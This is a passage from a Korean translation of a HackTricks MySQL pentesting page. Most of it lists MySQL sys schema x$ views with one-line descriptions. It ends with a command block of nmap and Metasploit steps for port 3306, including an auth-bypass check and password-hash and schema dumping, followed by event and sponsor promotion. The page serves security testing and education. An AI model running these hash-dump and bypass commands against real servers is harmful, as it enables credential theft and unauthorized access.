요약 정보를 제공합니다. ### x$host\_summary\_by\_file\_io * 파일 I/O에 따른 호스트 요약 정보를 제공합니다. ### x$host\_summary\_by\_file\_io\_type * 파일 I/O 유형에 따른 호스트 요약 정보를 제공합니다. ### x$host\_summary\_by\_stages * 단계별 호스트 요약 정보를 제공합니다. ### x$host\_summary\_by\_statement\_latency * 문장 지연에 따른 호스트 요약 정보를 제공합니다. ### x$host\_summary\_by\_statement\_type * 문장 유형에 따른 호스트 요약 정보를 제공합니다. ### x$innodb\_buffer\_stats\_by\_schema * 스키마별 InnoDB 버퍼 통계 정보를 제공합니다. ### x$innodb\_buffer\_stats\_by\_table * 테이블별 InnoDB 버퍼 통계 정보를 제공합니다. ### x$innodb\_lock\_waits * InnoDB 락 대기 정보를 제공합니다. ### x$io\_by\_thread\_by\_latency * 스레드 및 대기 시간에 따른 I/O 정보를 제공합니다. ### x$io\_global\_by\_file\_by\_bytes * 파일 및 바이트에 따른 전역 I/O 정보를 제공합니다. ### x$io\_global\_by\_file\_by\_latency * 파일 및 대기 시간에 따른 전역 I/O 정보를 제공합니다. ### x$io\_global\_by\_wait\_by\_bytes * 대기 및 바이트에 따른 전역 I/O 정보를 제공합니다. ### x$io\_global\_by\_wait\_by\_latency * 대기 및 대기 시간에 따른 전역 I/O 정보를 제공합니다. ### x$latest\_file\_io * 최신 파일 I/O 정보를 제공합니다. ### x$memory\_by\_host\_by\_current\_bytes * 호스트 및 현재 바이트에 따른 메모리 정보를 제공합니다. ### x$memory\_by\_thread\_by\_current\_bytes * 스레드 및 현재 바이트에 따른 메모리 정보를 제공합니다. ### x$memory\_by\_user\_by\_current\_bytes * 사용자 및 현재 바이트에 따른 메모리 정보를 제공합니다. ### x$memory\_global\_by\_current\_bytes * 현재 바이트에 따른 전역 메모리 정보를 제공합니다. ### x$memory\_global\_total * 전체 메모리 정보를 제공합니다. ### x$processlist * 프로세스 목록을 제공합니다. ### x$ps\_digest\_95th\_percentile\_by\_avg\_us * 평균 마이크로초에 따른 95% 백분위수 정보를 제공합니다. ### x$ps\_digest\_avg\_latency\_distribution * 평균 지연 분포 정보를 제공합니다. ### x$ps\_schema\_table\_statistics\_io * 스키마 및 테이블 I/O 통계 정보를 제공합니다. ### x$schema\_flattened\_keys * 플래튼된 키 정보를 제공합니다. ### x$schema\_index\_statistics * 인덱스 통계 정보를 제공합니다. ### x$schema\_table\_lock\_waits * 테이블 락 대기 정보를 제공합니다. ### x$schema\_table\_statistics * 테이블 통계 정보를 제공합니다. ### x$schema\_table\_statistics\_with\_buffer * 버퍼를 사용한 테이블 통계 정보를 제공합니다. ### x$schema\_tables\_with\_full\_table\_scans * 전체 테이블 스캔을 수행하는 테이블의 목록을 제공합니다. ### x$session * 세션 정보를 제공합니다. ### x$statement\_analysis * SQL 문장 분석 정보를 제공합니다. ### x$statements\_with\_errors\_or\_warnings * 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다. ### x$statements\_with\_full\_table\_scans * 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다. ### x$statements\_with\_runtimes\_in\_95th\_percentile * 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다. ### x$statements\_with\_sorting * 정렬을 수행하는 SQL 문장의 목록을 제공합니다. ### x$statements\_with\_temp\_tables * 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다. ### x$user\_summary * 사용자 요약 정보를 제공합니다. ### x$user\_summary\_by\_file\_io * 파일 I/O에 따른 사용자 요약 정보를 제공합니다. ### x$user\_summary\_by\_file\_io\_type * 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다. ### x$user\_summary\_by\_stages * 단계별 사용자 요약 정보를 제공합니다. ### x$user\_summary\_by\_statement\_latency * 문장 지연에 따른 사용자 요약 정보를 제공합니다. ### x$user\_summary\_by\_statement\_type * 문장 유형에 따른 사용자 요약 정보를 제공합니다. ### x$wait\_classes\_global\_by\_avg\_latency * 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다. ### x$wait\_classes\_global\_by\_latency * 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다. ### x$waits\_by\_host\_by\_latency * 호스트 및 대기 시간에 따른 대기 정보를 제공합니다. ### x$waits\_by\_user\_by\_latency * 사용자 및 대기 시간에 따른 대기 정보를 제공합니다. ### x$waits\_global\_by\_latency * 대기 시간에 따른 전역 대기 정보를 제공합니다. ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다. {% embed url="https://www.rootedcon.com/" %}
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 전문가 수준까지 배워보세요**! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요. * **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.